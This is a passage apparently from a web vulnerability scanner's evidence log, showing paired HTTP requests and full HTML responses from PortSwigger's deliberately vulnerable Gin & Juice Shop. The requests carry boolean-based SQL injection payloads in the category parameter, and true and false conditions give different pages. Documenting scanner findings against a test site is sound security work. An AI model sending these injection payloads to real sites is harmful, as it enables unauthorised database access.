                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    
  • pairs[0].trueId · r45 · 6ef999e9-55e1-441c-adb1-5c632c43526b
    Request
    GET https://ginandjuice.shop/catalog?category=Gin%27%20AND%2011%3D11--%20-
    user-agent: curl/8.5.0
    accept: */*
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:04:15 GMT
    content-type: text/html; charset=utf-8
    content-length: 13145
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:04:15 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:04:15 GMT; Path=/; SameSite=None; Secure
    set-cookie: TrackingId=[REDACTED]; Secure; HttpOnly
    set-cookie: session=[REDACTED]; Secure; HttpOnly; SameSite=None
    set-cookie: category=[REDACTED]; Secure; HttpOnly
    x-backend: 43e98f03-700e-4d12-841c-74aea6d448bb
    x-frame-options: SAMEORIGIN
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsEcommerce.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Products - Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="ecommerce">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Products</h1>
                        <section class=search>
                            <form action="/catalog" method=GET>
                                <input type=text id="searchBar" placeholder="Search products" name="searchTerm">
                                <script>
                                    var searchText = '';
                                    document.getElementById('searchBar').value = searchText;
                                </script>
                                <input hidden type=text name="category" value="Gin&apos; AND 11=11-- -">
                                <button type=submit class=button>Search</button>
                            </form>
                        </section>
                        <section id="react-container" class="search-filters">
                            <label>Refine your search:</label>
                            <script type="text/javascript" >
        const element = React.createElement;
        const categories = {"All":"/catalog","Accessories":"/catalog?category=Accessories","Accompaniments":"/catalog?category=Accompaniments","Books":"/catalog?category=Books","Gin":"/catalog?category=Gin","Juice":"/catalog?category=Juice"};
        const selectedCategory = "Gin' AND 11=11-- -";
        const root = ReactDOM.createRoot(document.getElementById('react-container'));
    
        const categorySelected = (name, selected) => !!selected ? name === selected : name === "All";
    
        const categoryList = Object.entries(categories).map((category, i) => {
            const name = category[0];
            const href = category[1];
            const selected = categorySelected(name, selectedCategory);
            const className = selected ? 'filter-category selected' : 'filter-category';
            return element('a', { key: i, className, href }, name);
        });
    
        const filterBar = element('div', null, categoryList);
        root.render(filterBar);
    
    </script>
                        </section>
                        <section class="container-list-tiles">
                            <a href="/catalog/product?productId=1">
                                <img src="/image/scanme/productcatalog/products/pineapple_edition.png">
                                <h3>Pineapple Edition Cocktail</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=6">
                                <img src="/image/scanme/productcatalog/products/batch_1337.png">
                                <h3>Batch 1337 Cocktail</h3>
                                <img src="/resources/images/rating4.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=10">
                                <img src="/image/scanme/productcatalog/products/2.png">
                                <h3>Sloe Gin Timer Kit</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$85.78</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=13">
                                <img src="/image/scanme/productcatalog/products/6.png">
                                <h3>Orange Gin Finest</h3>
                                <img src="/resources/images/rating2.png">
                                <span class="price">$64.64</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=14">
                                <img src="/image/scanme/productcatalog/products/kettle_still.png">
                                <h3>Kettle Still Edition Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$50.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=15">
                                <img src="/image/scanme/productcatalog/products/original_dry_sqli.png">
                                <h3>Original Dry SQLi Cocktail</h3>
                                <img src="/resources/images/rating4.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=16">
                                <img src="/image/scanme/productcatalog/products/purple_hat.png">
                                <h3>Purple Hat Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$100.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=17">
                                <img src="/image/scanme/productcatalog/products/lost_in_a_heyes.png">
                                <h3>Lost in a Heyes Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$50.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=18">
                                <img src="/image/scanme/productcatalog/products/4.png">
                                <h3>Gin Flavouring Gift Box</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$68.70</span>
                                <span class="button">View details</span>
                            </a>
                        </section>
                        <div class=is-linkback>
                            <a href='/catalog'>Continue shopping</a>
                        </div>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    
  • pairs[0].falseId · r46 · 19e46792-d3ff-429b-9cee-aa7c1bc7373c
    Request
    GET https://ginandjuice.shop/catalog?category=Gin%27%20AND%2011%3D12--%20-
    user-agent: curl/8.5.0
    accept: */*
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:04:15 GMT
    content-type: text/html; charset=utf-8
    content-length: 9406
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:04:15 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:04:15 GMT; Path=/; SameSite=None; Secure
    set-cookie: TrackingId=[REDACTED]; Secure; HttpOnly
    set-cookie: session=[REDACTED]; Secure; HttpOnly; SameSite=None
    set-cookie: category=[REDACTED]; Secure; HttpOnly
    x-backend: d042b2b2-666f-4720-94db-1a77a565c5b9
    x-frame-options: SAMEORIGIN
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsEcommerce.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Products - Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="ecommerce">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Products</h1>
                        <section class=search>
                            <form action="/catalog" method=GET>
                                <input type=text id="searchBar" placeholder="Search products" name="searchTerm">
                                <script>
                                    var searchText = '';
                                    document.getElementById('searchBar').value = searchText;
                                </script>
                                <input hidden type=text name="category" value="Gin&apos; AND 11=12-- -">
                                <button type=submit class=button>Search</button>
                            </form>
                        </section>
                        <section id="react-container" class="search-filters">
                            <label>Refine your search:</label>
                            <script type="text/javascript" >
        const element = React.createElement;
        const categories = {"All":"/catalog","Accessories":"/catalog?category=Accessories","Accompaniments":"/catalog?category=Accompaniments","Books":"/catalog?category=Books","Gin":"/catalog?category=Gin","Juice":"/catalog?category=Juice"};
        const selectedCategory = "Gin' AND 11=12-- -";
        const root = ReactDOM.createRoot(document.getElementById('react-container'));
    
        const categorySelected = (name, selected) => !!selected ? name === selected : name === "All";
    
        const categoryList = Object.entries(categories).map((category, i) => {
            const name = category[0];
            const href = category[1];
            const selected = categorySelected(name, selectedCategory);
            const className = selected ? 'filter-category selected' : 'filter-category';
            return element('a', { key: i, className, href }, name);
        });
    
        const filterBar = element('div', null, categoryList);
        root.render(filterBar);
    
    </script>
                        </section>
                        <div class="no-results">
                            <div class="no-results-icon"><svg><use href="/resources/images/goggles.svg#goggles"></use></svg></div>
                            <h2>Sorry! No result found</h2>
                            <div>But don't give up - check the spelling or try less specific search terms.</div>
                        </div>
                        <div class=is-linkback>
                            <a href='/catalog'>Continue shopping</a>
                        </div>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    
  • pairs[1].trueId · r47 · 3cabd302-618f-4b09-b955-694a3f4dad46
    Request
    GET https://ginandjuice.shop/catalog?category=Gin%27%20AND%2023%3D23--%20-
    user-agent: curl/8.5.0
    accept: */*
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:04:15 GMT
    content-type: text/html; charset=utf-8
    content-length: 13145
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:04:15 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:04:15 GMT; Path=/; SameSite=None; Secure
    set-cookie: TrackingId=[REDACTED]; Secure; HttpOnly
    set-cookie: session=[REDACTED]; Secure; HttpOnly; SameSite=None
    set-cookie: category=[REDACTED]; Secure; HttpOnly
    x-backend: a3b661f1-727e-4c59-b93e-9db836e9fc88
    x-frame-options: SAMEORIGIN
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsEcommerce.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Products - Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="ecommerce">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Products</h1>
                        <section class=search>
                            <form action="/catalog" method=GET>
                                <input type=text id="searchBar" placeholder="Search products" name="searchTerm">
                                <script>
                                    var searchText = '';
                                    document.getElementById('searchBar').value = searchText;
                                </script>
                                <input hidden type=text name="category" value="Gin&apos; AND 23=23-- -">
                                <button type=submit class=button>Search</button>
                            </form>
                        </section>
                        <section id="react-container" class="search-filters">
                            <label>Refine your search:</label>
                            <script type="text/javascript" >
        const element = React.createElement;
        const categories = {"All":"/catalog","Accessories":"/catalog?category=Accessories","Accompaniments":"/catalog?category=Accompaniments","Books":"/catalog?category=Books","Gin":"/catalog?category=Gin","Juice":"/catalog?category=Juice"};
        const selectedCategory = "Gin' AND 23=23-- -";
        const root = ReactDOM.createRoot(document.getElementById('react-container'));
    
        const categorySelected = (name, selected) => !!selected ? name === selected : name === "All";
    
        const categoryList = Object.entries(categories).map((category, i) => {
            const name = category[0];
            const href = category[1];
            const selected = categorySelected(name, selectedCategory);
            const className = selected ? 'filter-category selected' : 'filter-category';
            return element('a', { key: i, className, href }, name);
        });
    
        const filterBar = element('div', null, categoryList);
        root.render(filterBar);
    
    </script>
                        </section>
                        <section class="container-list-tiles">
                            <a href="/catalog/product?productId=1">
                                <img src="/image/scanme/productcatalog/products/pineapple_edition.png">
                                <h3>Pineapple Edition Cocktail</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=6">
                                <img src="/image/scanme/productcatalog/products/batch_1337.png">
                                <h3>Batch 1337 Cocktail</h3>
                                <img src="/resources/images/rating4.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=10">
                                <img src="/image/scanme/productcatalog/products/2.png">
                                <h3>Sloe Gin Timer Kit</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$85.78</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=13">
                                <img src="/image/scanme/productcatalog/products/6.png">
                                <h3>Orange Gin Finest</h3>
                                <img src="/resources/images/rating2.png">
                                <span class="price">$64.64</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=14">
                                <img src="/image/scanme/productcatalog/products/kettle_still.png">
                                <h3>Kettle Still Edition Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$50.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=15">
                                <img src="/image/scanme/productcatalog/products/original_dry_sqli.png">
                                <h3>Original Dry SQLi Cocktail</h3>
                                <img src="/resources/images/rating4.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=16">
                                <img src="/image/scanme/productcatalog/products/purple_hat.png">
                                <h3>Purple Hat Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$100.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=17">
                                <img src="/image/scanme/productcatalog/products/lost_in_a_heyes.png">
                                <h3>Lost in a Heyes Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$50.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=18">
                                <img src="/image/scanme/productcatalog/products/4.png">
                                <h3>Gin Flavouring Gift Box</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$68.70</span>
                                <span class="button">View details</span>
                            </a>
                        </section>
                        <div class=is-linkback>
                            <a href='/catalog'>Continue shopping</a>
                        </div>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    
  • pairs[1].falseId · r48 · 17b0a39f-e6ae-4d41-b5ba-b58d34ed380c
    Request
    GET https://ginandjuice.shop/catalog?category=Gin%27%20AND%2023%3D24--%20-
    user-agent: curl/8.5.0
    accept: */*
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:04:16 GMT
    content-type: text/html; charset=utf-8
    content-length: 9406
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:04:16 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:04:16 GMT; Path=/; SameSite=None; Secure
    set-cookie: TrackingId=[REDACTED]; Secure; HttpOnly
    set-cookie: session=[REDACTED]; Secure; HttpOnly; SameSite=None
    set-cookie: category=[REDACTED]; Secure; HttpOnly
    x-backend: d042b2b2-666f-4720-94db-1a77a565c5b9
    x-frame-options: SAMEORIGIN
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsEcommerce.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Products - Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="ecommerce">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Products</h1>
                        <section class=search>
                            <form action="/catalog" method=GET>
                                <input type=text id="searchBar" placeholder="Search products" name="searchTerm">
                                <script>
                                    var searchText = '';
                                    document.getElementById('searchBar').value = searchText;
                                </script>
                                <input hidden type=text name="category" value="Gin&apos; AND 23=24-- -">
                                <button type=submit class=button>Search</button>
                            </form>
                        </section>
                        <section id="react-container" class="search-filters">
                            <label>Refine your search:</label>
                            <script type="text/javascript" >
        const element = React.createElement;
        const categories = {"All":"/catalog","Accessories":"/catalog?category=Accessories","Accompaniments":"/catalog?category=Accompaniments","Books":"/catalog?category=Books","Gin":"/catalog?category=Gin","Juice":"/catalog?category=Juice"};
        const selectedCategory = "Gin' AND 23=24-- -";
        const root = ReactDOM.createRoot(document.getElementById('react-container'));
    
        const categorySelected = (name, selected) => !!selected ? name === selected : name === "All";
    
        const categoryList = Object.entries(categories).map((category, i) => {
            const name = category[0];
            const href = category[1];
            const selected = categorySelected(name, selectedCategory);
            const className = selected ? 'filter-category selected' : 'filter-category';
            return element('a', { key: i, className, href }, name);
        });
    
        const filterBar = element('div', null, categoryList);
        root.render(filterBar);
    
    </script>
                        </section>
                        <div class="no-results">
                            <div class="no-results-icon"><svg><use href="/resources/images/goggles.svg#goggles"></use></svg></div>
                            <h2>Sorry! No result found</h2>
                            <div>But don't give up - check the spelling or try less specific search terms.</div>
                        </div>
                        <div class=is-linkback>
                            <a href='/catalog'>Continue shopping</a>
                        </div>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
